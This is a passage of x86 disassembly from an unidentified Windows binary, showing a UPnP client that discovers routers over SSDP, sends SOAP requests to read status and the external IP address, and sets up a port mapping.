-10Ch timeout = timeval ptr -8 s = dword ptr 8 buf = dword ptr 0Ch len = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10Ch mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx push esi mov esi, [ebp+s] mov [ebp+readfds.fd_array], esi mov [ebp+readfds.fd_count], 1 mov [ebp+timeout.tv_sec], eax imul edx, 3E8h lea eax, [ebp+timeout] push eax ; timeout push 0 ; exceptfds push 0 ; writefds lea eax, [ebp+readfds] push eax ; readfds push 40h ; nfds mov [ebp+timeout.tv_usec], edx call select test eax, eax jge short loc_9B4B14 or eax, 0FFFFFFFFh jmp short loc_9B4B29 ; --------------------------------------------------------------------------- loc_9B4B14: ; CODE XREF: sub_9B4AC0+4Dj jnz short loc_9B4B1A xor eax, eax jmp short loc_9B4B29 ; --------------------------------------------------------------------------- loc_9B4B1A: ; CODE XREF: sub_9B4AC0:loc_9B4B14j push 0 ; flags push [ebp+len] ; len push [ebp+buf] ; buf push esi ; s call recv loc_9B4B29: ; CODE XREF: sub_9B4AC0+52j ; sub_9B4AC0+58j pop esi leave retn sub_9B4AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B4B2C proc near ; CODE XREF: sub_9B4B6B+A8p Source = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h push 0 ; Dest lea eax, [ebp+arg_4] push eax ; int lea eax, [ebp+Source] push eax ; Source mov eax, [ebp+arg_4] add eax, 484h push eax ; int mov eax, [ebp+arg_0] push dword ptr [eax] ; Str mov [ebp+Source], 0 call sub_9B5214 lea eax, [ebp+Source] push eax ; Str2 push offset aConnected ; "Connected" call strcmp add esp, 1Ch neg eax sbb eax, eax inc eax leave retn sub_9B4B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4B6B(int, int, void *Count, int netshort, int) sub_9B4B6B proc near ; CODE XREF: sub_9A90FF+64p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Count = dword ptr 10h netshort = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch xor eax, eax cmp [ebp+arg_0], eax mov [ebp+var_C], eax mov [ebp+var_8], eax jnz short loc_9B4B80 leave retn ; --------------------------------------------------------------------------- loc_9B4B80: ; CODE XREF: sub_9B4B6B+11j push esi mov esi, [ebp+Count] push ebx mov [ebp+var_4], 1 push edi loc_9B4B8D: ; CODE XREF: sub_9B4B6B+DDj mov edi, [ebp+arg_0] loc_9B4B90: ; CODE XREF: sub_9B4B6B+D0j push [ebp+arg_10] ; Count lea eax, [ebp+var_C] push [ebp+netshort] ; netshort push eax ; int push dword ptr [edi+4] ; Str call sub_9B4207 mov ebx, eax add esp, 10h test ebx, ebx jz loc_9B4C37 inc [ebp+var_8] push 704h ; Size push 0 ; Val push esi ; Dst call memset push 0Ch ; Size push 0 ; Val push [ebp+arg_4] ; Dst call memset push esi push [ebp+var_C] push ebx call sub_9B47E9 push ebx ; Memory call free lea eax, [esi+284h] push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"... push eax ; Str1 call strcmp add esp, 30h test eax, eax jz short loc_9B4BFA cmp [ebp+var_4], 3 jl short loc_9B4C27 loc_9B4BFA: ; CODE XREF: sub_9B4B6B+87j push dword ptr [edi+4] ; Source push esi ; Count push [ebp+arg_4] ; int call sub_9B498C add esp, 0Ch cmp [ebp+var_4], 2 jge short loc_9B4C55 push esi push [ebp+arg_4] call sub_9B4B2C test eax, eax pop ecx pop ecx jnz short loc_9B4C55 push [ebp+arg_4] call sub_9B4A91 pop ecx loc_9B4C27: ; CODE XREF: sub_9B4B6B+8Dj push 704h ; Size push 0 ; Val push esi ; Dst call memset add esp, 0Ch loc_9B4C37: ; CODE XREF: sub_9B4B6B+3Ej mov edi, [edi] test edi, edi jnz loc_9B4B90 inc [ebp+var_4] cmp [ebp+var_4], 3 jle loc_9B4B8D xor eax, eax loc_9B4C50: ; CODE XREF: sub_9B4B6B+EDj pop edi pop ebx pop esi leave retn ; --------------------------------------------------------------------------- loc_9B4C55: ; CODE XREF: sub_9B4B6B+A2j ; sub_9B4B6B+B1j mov eax, [ebp+var_4] jmp short loc_9B4C50 sub_9B4B6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4C5A(SOCKET s, char *Str, int, int, int, int, int) sub_9B4C5A proc near ; CODE XREF: sub_9B5214+49p ; sub_9B5353+52p ... var_8F0 = byte ptr -8F0h Dest = byte ptr -0F0h cp = byte ptr -70h name = sockaddr ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h buf = dword ptr -0Ch len = word ptr -8 var_4 = dword ptr -4 s = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 8F0h and dword ptr [ebp+len], 0 push ebx mov ebx, [ebp+arg_C] push esi mov esi, _snprintf push edi push ebx push [ebp+arg_8] lea eax, [ebp+Dest] push offset aSS ; "%s#%s" push 80h ; Count push eax ; Dest call esi ; _snprintf mov edi, [ebp+arg_10] add esp, 14h test edi, edi lea eax, [ebp+var_8F0] jnz short loc_9B4CB4 push ebx push [ebp+arg_8] push ebx push offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<s:Envelope xmln"... push 800h ; Count push eax ; Dest call esi ; _snprintf add esp, 18h jmp loc_9B4D6B ; --------------------------------------------------------------------------- loc_9B4CB4: ; CODE XREF: sub_9B4C5A+3Ej push [ebp+arg_8] push ebx push offset a?xmlVersion1_1 ; "<?xml version=\"1.0\"?>\r\n<s:Envelope xmln"... push 800h ; Count push eax ; Dest call esi ; _snprintf add esp, 14h lea eax, [ebp+eax+var_8F0] jmp short loc_9B4D22 ; --------------------------------------------------------------------------- loc_9B4CD1: ; CODE XREF: sub_9B4C5A+CCj lea ecx, [eax+64h] lea esi, [ebp+Dest] cmp esi, ecx jbe short loc_9B4D3E mov byte ptr [eax], 3Ch inc eax mov esi, edx jmp short loc_9B4CEA ; --------------------------------------------------------------------------- loc_9B4CE6: ; CODE XREF: sub_9B4C5A+94j mov [eax], cl inc eax inc esi loc_9B4CEA: ; CODE XREF: sub_9B4C5A+8Aj mov cl, [esi] test cl, cl jnz short loc_9B4CE6 mov esi, [edi+4] mov byte ptr [eax], 3Eh inc eax test esi, esi jz short loc_9B4D07 jmp short loc_9B4D01 ; --------------------------------------------------------------------------- loc_9B4CFD: ; CODE XREF: sub_9B4C5A+ABj mov [eax], cl inc eax inc esi loc_9B4D01: ; CODE XREF: sub_9B4C5A+A1j mov cl, [esi] test cl, cl jnz short loc_9B4CFD loc_9B4D07: ; CODE XREF: sub_9B4C5A+9Fj mov byte ptr [eax], 3Ch inc eax mov byte ptr [eax], 2Fh inc eax jmp short loc_9B4D15 ; --------------------------------------------------------------------------- loc_9B4D11: ; CODE XREF: sub_9B4C5A+BFj mov [eax], cl inc eax inc edx loc_9B4D15: ; CODE XREF: sub_9B4C5A+B5j mov cl, [edx] test cl, cl jnz short loc_9B4D11 mov byte ptr [eax], 3Eh inc eax add edi, 8 loc_9B4D22: ; CODE XREF: sub_9B4C5A+75j mov edx, [edi] test edx, edx jnz short loc_9B4CD1 mov cl, [ebx] mov byte ptr [eax], 3Ch inc eax mov byte ptr [eax], 2Fh inc eax mov byte ptr [eax], 6Dh inc eax mov byte ptr [eax], 3Ah inc eax mov edx, ebx jmp short loc_9B4D4F ; --------------------------------------------------------------------------- loc_9B4D3E: ; CODE XREF: sub_9B4C5A+82j mov eax, [ebp+arg_18] and dword ptr [eax], 0 jmp loc_9B4DE0 ; --------------------------------------------------------------------------- loc_9B4D49: ; CODE XREF: sub_9B4C5A+F7j mov [eax], cl inc eax inc edx mov cl, [edx] loc_9B4D4F: ; CODE XREF: sub_9B4C5A+E2j test cl, cl jnz short loc_9B4D49 lea ecx, [ebp+Dest] sub ecx, eax push ecx ; Count push offset aSBodySEnvelope ; "></s:Body></s:Envelope>\r\n" push eax ; Dest call strncpy add esp, 0Ch loc_9B4D6B: ; CODE XREF: sub_9B4C5A+55j lea eax, [ebp+var_1C] push eax ; int lea eax, [ebp+len] push eax ; int lea eax, [ebp+cp] push eax ; Dest push [ebp+Str] ; Str call sub_9B410C add esp, 10h test eax, eax jz short loc_9B4DE0 xor esi, esi cmp [ebp+s], esi jge short loc_9B4DE8 push esi ; protocol push 1 ; type push 2 ; af call socket cmp eax, esi mov [ebp+s], eax jl short loc_9B4DDB push dword ptr [ebp+len] ; netshort mov [ebp+name.sa_family], 2 call ntohs mov word ptr [ebp+name.sa_data], ax lea eax, [ebp+cp] push eax ; cp call __imp_inet_addr mov dword ptr [ebp+name.sa_data+2], eax push 10h ; namelen lea eax, [ebp+name] push eax ; name push [ebp+s] ; s call connect test eax, eax jge short loc_9B4DE8 push [ebp+s] ; s call closesocket loc_9B4DDB: ; CODE XREF: sub_9B4C5A+143j mov eax, [ebp+arg_18] mov [eax], esi loc_9B4DE0: ; CODE XREF: sub_9B4C5A+EAj ; sub_9B4C5A+12Aj or eax, 0FFFFFFFFh jmp loc_9B4EDF ; --------------------------------------------------------------------------- loc_9B4DE8: ; CODE XREF: sub_9B4C5A+131j ; sub_9B4C5A+176j lea eax, [ebp+var_8F0] push eax ; Str lea eax, [ebp+Dest] push eax ; int push dword ptr [ebp+len] ; len lea eax, [ebp+cp] push eax ; int push [ebp+var_1C] ; int push [ebp+s] ; s call sub_9B4735 add esp, 18h test eax, eax jg short loc_9B4E17 or esi, 0FFFFFFFFh jmp loc_9B4ED4 ; --------------------------------------------------------------------------- loc_9B4E17: ; CODE XREF: sub_9B4C5A+1B3j mov esi, [ebp+arg_18] mov eax, [esi] mov ebx, [ebp+arg_14] or [ebp+var_18], 0FFFFFFFFh or [ebp+var_10], 0FFFFFFFFh and dword ptr [esi], 0 push 1388h push eax mov [ebp+buf], ebx mov [ebp+var_4], eax push ebx jmp loc_9B4EBF ; --------------------------------------------------------------------------- loc_9B4E3C: ; CODE XREF: sub_9B4C5A+272j sub [ebp+var_4], eax add [ebp+buf], eax add [esi], eax mov eax, [esi] add eax, ebx cmp ebx, eax mov edi, ebx mov [ebp+var_14], eax jnb short loc_9B4EA0 mov al, [ebx] loc_9B4E53: ; CODE XREF: sub_9B4C5A+23Bj and [ebp+arg_10], 0 cmp al, 0Dh jz short loc_9B4E6E mov ecx, edi loc_9B4E5D: ; CODE XREF: sub_9B4C5A+212j cmp al, 0Dh jz short loc_9B4E6E cmp ecx, [ebp+var_14] jnb short loc_9B4EA0 inc [ebp+arg_10] inc ecx mov al, [ecx] jmp short loc_9B4E5D ; --------------------------------------------------------------------------- loc_9B4E6E: ; CODE XREF: sub_9B4C5A+1FFj ; sub_9B4C5A+205j mov eax, [ebp+arg_10] mov ecx, edi call sub_9B4826 test eax, eax jle short loc_9B4E7F mov [ebp+var_18], eax loc_9B4E7F: ; CODE XREF: sub_9B4C5A+220j mov eax, [ebp+arg_10] lea edi, [edi+eax+2] mov al, [edi] cmp al, 0Dh jnz short loc_9B4E92 cmp byte ptr [edi+1], 0Ah jz short loc_9B4E99 loc_9B4E92: ; CODE XREF: sub_9B4C5A+230j cmp edi, [ebp+var_14] jb short loc_9B4E53 jmp short loc_9B4EA0 ; --------------------------------------------------------------------------- loc_9B4E99: ; CODE XREF: sub_9B4C5A+236j sub edi, ebx inc edi inc edi mov [ebp+var_10], edi loc_9B4EA0: ; CODE XREF: sub_9B4C5A+1F5j ; sub_9B4C5A+20Aj ... mov ecx, [ebp+var_18] test ecx, ecx jle short loc_9B4EB4 mov eax, [ebp+var_10] test eax, eax jle short loc_9B4EB4 add eax, ecx cmp [esi], eax jge short loc_9B4ED2 loc_9B4EB4: ; CODE XREF: sub_9B4C5A+24Bj ; sub_9B4C5A+252j push 1388h ; int push [ebp+var_4] ; len push [ebp+buf] ; buf loc_9B4EBF: ; CODE XREF: sub_9B4C5A+1DDj push [ebp+s] ; s call sub_9B4AC0 add esp, 10h test eax, eax jg loc_9B4E3C loc_9B4ED2: ; CODE XREF: sub_9B4C5A+258j xor esi, esi loc_9B4ED4: ; CODE XREF: sub_9B4C5A+1B8j push [ebp+s] ; s call closesocket mov eax, esi loc_9B4EDF: ; CODE XREF: sub_9B4C5A+189j pop edi pop esi pop ebx leave retn sub_9B4C5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4EE4(int, char *cp, int, int) sub_9B4EE4 proc near ; CODE XREF: sub_9A90FF+3Cp buf = byte ptr -644h to = sockaddr ptr -44h Dst = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h optval = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch Src = dword ptr -18h var_14 = dword ptr -14h Size = dword ptr -10h var_C = dword ptr -0Ch s = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 cp = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 644h push edi push 11h ; protocol push 2 ; type xor edi, edi push 2 ; af mov [ebp+var_4], edi mov dword ptr [ebp+optval], 1 call socket cmp eax, edi mov [ebp+s], eax jge short loc_9B4F14 xor eax, eax jmp loc_9B505A ; --------------------------------------------------------------------------- loc_9B4F14: ; CODE XREF: sub_9B4EE4+27j push ebx push esi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call memset mov esi, ntohs add esp, 0Ch cmp [ebp+arg_C], edi mov [ebp+Dst], 2 mov ebx, 76Ch jz short loc_9B4F42 push ebx ; netshort call esi ; ntohs mov [ebp+var_32], ax loc_9B4F42: ; CODE XREF: sub_9B4EE4+55j push 10h ; Size lea eax, [ebp+to] push edi ; Val push eax ; Dst mov [ebp+var_30], edi call memset add esp, 0Ch push ebx ; netshort mov [ebp+to.sa_family], 2 call esi ; ntohs mov esi, __imp_inet_addr push offset cp ; "239.255.255.250" mov word ptr [ebp+to.sa_data], ax call esi ; __imp_inet_addr mov ebx, setsockopt push 4 ; optlen mov dword ptr [ebp+to.sa_data+2], eax lea eax, [ebp+optval] push eax ; optval push 4 ; optname push 0FFFFh ; level push [ebp+s] ; s call ebx ; setsockopt test eax, eax jge short loc_9B4F94 xor eax, eax jmp loc_9B5058 ; --------------------------------------------------------------------------- loc_9B4F94: ; CODE XREF: sub_9B4EE4+A7j cmp [ebp+cp], edi jz short loc_9B4FB2 push [ebp+cp] ; cp call esi ; __imp_inet_addr push 4 ; optlen mov [ebp+Size], eax mov [ebp+var_30], eax lea eax, [ebp+Size] push eax ; optval push 9 ; optname push edi ; level push [ebp+s] ; s call ebx ; setsockopt loc_9B4FB2: ; CODE XREF: sub_9B4EE4+B3j push 10h ; namelen lea eax, [ebp+Dst] push eax ; name push [ebp+s] ; s call bind test eax, eax jnz loc_9B504D mov [ebp+var_1C], edi mov [ebp+var_C], offset off_9A6D24 jmp short loc_9B4FD7 ; --------------------------------------------------------------------------- loc_9B4FD5: ; CODE XREF: sub_9B4EE4+1A8j ; sub_9B4EE4+1B2j ... xor edi, edi loc_9B4FD7: ; CODE XREF: sub_9B4EE4+EFj ; sub_9B4EE4+164j cmp [ebp+var_1C], edi jnz short loc_9B501B mov eax, [ebp+var_C] push dword ptr [eax] lea eax, [ebp+buf] push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255."... push 600h ; Count push eax ; Dest call _snprintf add [ebp+var_C], 4 add esp, 10h push 10h ; tolen lea ecx, [ebp+to] push ecx ; to push edi ; flags push eax ; len lea eax, [ebp+buf] push eax ; buf push [ebp+s] ; s call sendto test eax, eax jl short loc_9B504A loc_9B501B: ; CODE XREF: sub_9B4EE4+F6j push [ebp+arg_0] ; int lea eax, [ebp+buf] push 600h ; len push eax ; buf push [ebp+s] ; s call sub_9B4AC0 add esp, 10h cmp eax, edi mov [ebp+var_1C], eax jl short loc_9B504A jnz short loc_9B505D cmp [ebp+var_4], edi jnz short loc_9B504A mov eax, [ebp+var_C] cmp [eax], edi jnz short loc_9B4FD7 loc_9B504A: ; CODE XREF: sub_9B4EE4+135j ; sub_9B4EE4+156j ... mov edi, [ebp+var_4] loc_9B504D: ; CODE XREF: sub_9B4EE4+DFj push [ebp+s] ; s call closesocket mov eax, edi loc_9B5058: ; CODE XREF: sub_9B4EE4+ABj pop esi pop ebx loc_9B505A: ; CODE XREF: sub_9B4EE4+2Bj pop edi leave retn ; --------------------------------------------------------------------------- loc_9B505D: ; CODE XREF: sub_9B4EE4+158j lea ecx, [ebp+var_20] push ecx lea ecx, [ebp+var_14] push ecx lea ecx, [ebp+Size] push ecx lea ecx, [ebp+Src] push ecx push eax lea ebx, [ebp+buf] mov [ebp+Src], edi mov [ebp+Size], edi mov [ebp+var_14], edi mov [ebp+var_20], edi call sub_9B488E add esp, 14h cmp [ebp+var_14], 0 jz loc_9B4FD5 cmp [ebp+Src], 0 jz loc_9B4FD5 mov edi, [ebp+var_20] mov ebx, [ebp+Size] lea eax, [edi+ebx+10h] push eax ; Size call malloc mov esi, eax mov eax, [ebp+var_4] push ebx ; Size push [ebp+Src] ; Src lea ecx, [esi+0Ch] mov [esi], eax lea eax, [esi+ebx+0Dh] push ecx ; Dst mov [esi+4], ecx mov [esi+8], eax call memcpy push edi ; Size push [ebp+var_14] ; Src lea eax, [esi+ebx+0Dh] push eax ; Dst mov byte ptr [esi+ebx+0Ch], 0 call memcpy lea eax, [esi+edi] add esp, 1Ch mov byte ptr [eax+ebx+0Dh], 0 mov [ebp+var_4], esi jmp loc_9B4FD5 sub_9B4EE4 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B50F1(int, void *Src, size_t Size) sub_9B50F1 proc near ; DATA XREF: sub_9B517D+20o arg_0 = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push esi push edi mov edi, [esp+8+Size] cmp edi, 3Fh jle short loc_9B50FF push 3Fh pop edi loc_9B50FF: ; CODE XREF: sub_9B50F1+9j mov esi, [esp+8+arg_0] push edi ; Size push [esp+0Ch+Src] ; Src lea eax, [esi+4] push eax ; Dst call memcpy add esp, 0Ch mov byte ptr [esi+edi+4], 0 pop edi pop esi retn sub_9B50F1 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B511C(int, void *Src, size_t Size) sub_9B511C proc near ; DATA XREF: sub_9B517D+2Ao arg_0 = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push ebx push esi push edi push 88h ; Size call malloc mov ebx, [esp+10h+Size] cmp ebx, 3Fh pop ecx mov esi, eax jle short loc_9B5139 push 3Fh pop ebx loc_9B5139: ; CODE XREF: sub_9B511C+18j mov edi, [esp+0Ch+arg_0] push 40h ; Count lea eax, [edi+4] push eax ; Source lea eax, [esi+8] push eax ; Dest call strncpy push ebx ; Size push [esp+1Ch+Src] ; Src lea eax, [esi+48h] push eax ; Dst mov byte ptr [esi+47h], 0 call memcpy mov byte ptr [esi+ebx+48h], 0 mov eax, [edi] add esp, 18h test eax, eax mov [esi], eax jz short loc_9B5174 mov eax, [edi] mov [eax+4], esi loc_9B5174: ; CODE XREF: sub_9B511C+51j mov [edi], esi mov [esi+4], edi pop edi pop esi pop ebx retn sub_9B511C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B517D proc near ; CODE XREF: sub_9B5214+5Cp ; sub_9B5353+65p ... var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_8] mov edx, [ebp+arg_0] xor ecx, ecx mov [eax], ecx mov [ebp+var_14], eax mov [ebp+var_24], edx mov edx, [ebp+arg_4] lea eax, [ebp+var_24] push eax mov [ebp+var_18], edx mov [ebp+var_10], offset sub_9B50F1 mov [ebp+var_C], ecx mov [ebp+var_8], offset sub_9B511C mov [ebp+var_4], ecx call sub_9B450D pop ecx leave retn sub_9B517D endp ; =============== S U B R O U T I N E ======================================= sub_9B51B9 proc near ; CODE XREF: sub_9B5214+132p ; sub_9B5353+C5p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] jmp short loc_9B51DB ; --------------------------------------------------------------------------- loc_9B51C0: ; CODE XREF: sub_9B51B9+26j mov ecx, [eax] test ecx, ecx jz short loc_9B51CC mov edx, [eax+4] mov [ecx+4], edx loc_9B51CC: ; CODE XREF: sub_9B51B9+Bj mov ecx, [eax+4] mov edx, [eax] push eax ; Memory mov [ecx], edx call free pop ecx loc_9B51DB: ; CODE XREF: sub_9B51B9+5j mov eax, [esi] test eax, eax jnz short loc_9B51C0 pop esi retn sub_9B51B9 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B51E3(int, char *Str2) sub_9B51E3 proc near ; CODE XREF: sub_9B5214+6Ap ; sub_9B5214+7Bp ... arg_0 = dword ptr 4 Str2 = dword ptr 8 mov eax, [esp+arg_0] push esi mov esi, [eax] push edi xor edi, edi jmp short loc_9B520B ; --------------------------------------------------------------------------- loc_9B51EF: ; CODE XREF: sub_9B51E3+2Aj test edi, edi jnz short loc_9B520F push [esp+8+Str2] ; Str2 lea eax, [esi+8] push eax ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B5209 lea edi, [esi+48h] loc_9B5209: ; CODE XREF: sub_9B51E3+21j mov esi, [esi] loc_9B520B: ; CODE XREF: sub_9B51E3+Aj test esi, esi jnz short loc_9B51EF loc_9B520F: ; CODE XREF: sub_9B51E3+Ej mov eax, edi pop edi pop esi retn sub_9B51E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5214(char *Str, int, char *Source, int, char *Dest) sub_9B5214 proc near ; CODE XREF: sub_9B4B2C+22p var_1054 = dword ptr -1054h var_54 = dword ptr -54h var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch Source = dword ptr 10h arg_C = dword ptr 14h Dest = dword ptr 18h push ebp mov ebp, esp mov eax, 1054h call __alloca_probe or [ebp+var_4], 0FFFFFFFFh push ebx push esi mov esi, [ebp+Source] xor ebx, ebx cmp esi, ebx mov [ebp+var_C], 1000h jnz short loc_9B5244 cmp [ebp+arg_C], ebx jnz short loc_9B5244 push 0FFFFFFFEh pop eax jmp loc_9B534F ; --------------------------------------------------------------------------- loc_9B5244: ; CODE XREF: sub_9B5214+21j ; sub_9B5214+26j lea eax, [ebp+var_C] push eax ; int lea eax, [ebp+var_1054] push eax ; int push ebx ; int push offset aGetstatusinfo ; "GetStatusInfo" push [ebp+arg_4] ; int push [ebp+Str] ; Str push 0FFFFFFFFh ; s call sub_9B4C5A lea eax, [ebp+var_54] push eax push [ebp+var_C] lea eax, [ebp+var_1054] push eax call sub_9B517D lea eax, [ebp+var_54] push offset aNewuptime ; "NewUptime" push eax ; int call sub_9B51E3 mov [ebp+Src], eax lea eax, [ebp+var_54] push offset aNewconnections ; "NewConnectionStatus" push eax ; int call sub_9B51E3 mov [ebp+Source], eax lea eax, [ebp+var_54] push offset aNewlastconnect ; "NewLastConnectionError" push eax ; int call sub_9B51E3 add esp, 40h cmp [ebp+Source], ebx mov [ebp+var_10], eax jz short loc_9B52B8 cmp [ebp+Src], ebx jz short loc_9B52B8 mov [ebp+var_4], ebx loc_9B52B8: ; CODE XREF: sub_9B5214+9Aj ; sub_9B5214+9Fj cmp esi, ebx push edi mov edi, strncpy jz short loc_9B52DA cmp [ebp+Source], ebx jz short loc_9B52D8 push 40h ; Count push [ebp+Source] ; Source push esi ; Dest call edi ; strncpy add esp, 0Ch mov [esi+3Fh], bl jmp short loc_9B52DA ; --------------------------------------------------------------------------- loc_9B52D8: ; CODE XREF: sub_9B5214+B2j mov [esi], bl loc_9B52DA: ; CODE XREF: sub_9B5214+ADj ; sub_9B5214+C2j cmp [ebp+arg_C], ebx jz short loc_9B52F8 cmp [ebp+Src], ebx jz short loc_9B52F8 push [ebp+arg_C] push offset aU ; "%u" push [ebp+Src] ; Src call sscanf add esp, 0Ch loc_9B52F8: ; CODE XREF: sub_9B5214+C9j ; sub_9B5214+CEj mov esi, [ebp+Dest] cmp esi, ebx jz short loc_9B5316 cmp [ebp+var_10], ebx jz short loc_9B5314 push 40h ; Count push [ebp+var_10] ; Source push esi ; Dest call edi ; strncpy add esp, 0Ch mov [esi+3Fh], bl jmp short loc_9B5316 ; --------------------------------------------------------------------------- loc_9B5314: ; CODE XREF: sub_9B5214+EEj mov [esi], bl loc_9B5316: ; CODE XREF: sub_9B5214+E9j ; sub_9B5214+FEj lea eax, [ebp+var_54] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx pop edi jz short loc_9B5342 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch loc_9B5342: ; CODE XREF: sub_9B5214+115j lea eax, [ebp+var_54] push eax call sub_9B51B9 mov eax, [ebp+var_4] pop ecx loc_9B534F: ; CODE XREF: sub_9B5214+2Bj pop esi pop ebx leave retn sub_9B5214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5353(char *Str, int, char *Dest) sub_9B5353 proc near ; CODE XREF: sub_9A9289+5Fp var_104C = dword ptr -104Ch var_4C = dword ptr -4Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch Dest = dword ptr 10h push ebp mov ebp, esp mov eax, 104Ch call __alloca_probe or [ebp+var_4], 0FFFFFFFFh push ebx push esi mov esi, [ebp+Dest] xor ebx, ebx cmp esi, ebx mov [ebp+var_8], 1000h jz loc_9B5423 cmp [ebp+Str], ebx jz loc_9B5423 cmp [ebp+arg_4], ebx jz loc_9B5423 lea eax, [ebp+var_8] push eax ; int lea eax, [ebp+var_104C] push eax ; int push ebx ; int push offset aGetexternalipa ; "GetExternalIPAddress" push [ebp+arg_4] ; int push [ebp+Str] ; Str push 0FFFFFFFFh ; s call sub_9B4C5A lea eax, [ebp+var_4C] push eax push [ebp+var_8] lea eax, [ebp+var_104C] push eax call sub_9B517D lea eax, [ebp+var_4C] push offset aNewexternalipa ; "NewExternalIPAddress" push eax ; int call sub_9B51E3 add esp, 30h cmp eax, ebx jz short loc_9B53E7 push 10h ; Count push eax ; Source push esi ; Dest call strncpy add esp, 0Ch mov [esi+0Fh], bl mov [ebp+var_4], ebx jmp short loc_9B53E9 ; --------------------------------------------------------------------------- loc_9B53E7: ; CODE XREF: sub_9B5353+7Dj mov [esi], bl loc_9B53E9: ; CODE XREF: sub_9B5353+92j lea eax, [ebp+var_4C] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B5414 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch loc_9B5414: ; CODE XREF: sub_9B5353+A8j lea eax, [ebp+var_4C] push eax call sub_9B51B9 mov eax, [ebp+var_4] pop ecx jmp short loc_9B5426 ; --------------------------------------------------------------------------- loc_9B5423: ; CODE XREF: sub_9B5353+21j ; sub_9B5353+2Aj ... push 0FFFFFFFEh pop eax loc_9B5426: ; CODE XREF: sub_9B5353+CEj pop esi pop ebx leave retn sub_9B5353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B542A(char *Str, int, int, int, int, int, int) sub_9B542A proc near ; CODE XREF: sub_9A932E+CFp var_104C = dword ptr -104Ch var_4C = dword ptr -4Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 104Ch call __alloca_probe cmp [ebp+arg_C], 0 push ebx push edi mov [ebp+var_8], 1000h jz loc_9B555A cmp [ebp+arg_10], 0 jz loc_9B555A mov ebx, [ebp+arg_18] test ebx, ebx jz loc_9B555A mov edi, [ebp+arg_8] test edi, edi jz loc_9B555A push esi push 8 ; SizeOfElements push 9 ; NumOfElements call calloc mov esi, eax mov eax, [ebp+arg_C] mov [esi+1Ch], eax mov eax, [ebp+arg_10] mov [esi+24h], eax mov eax, [ebp+arg_14] test eax, eax pop ecx pop ecx mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost" mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort" mov [esi+0Ch], edi mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol" mov [esi+14h], ebx mov dword ptr [esi+18h], offset aNewinternalpor ; "NewInternalPort" mov dword ptr [esi+20h], offset aNewinternalcli ; "NewInternalClient" mov dword ptr [esi+28h], offset aNewenabled ; "NewEnabled" mov dword ptr [esi+2Ch], offset a1 ; "1" mov dword ptr [esi+30h], offset aNewportmapping ; "NewPortMappingDescription" jnz short loc_9B54CE mov eax, offset Password loc_9B54CE: ; CODE XREF: sub_9B542A+9Dj mov [esi+34h], eax lea eax, [ebp+var_8] push eax ; int lea 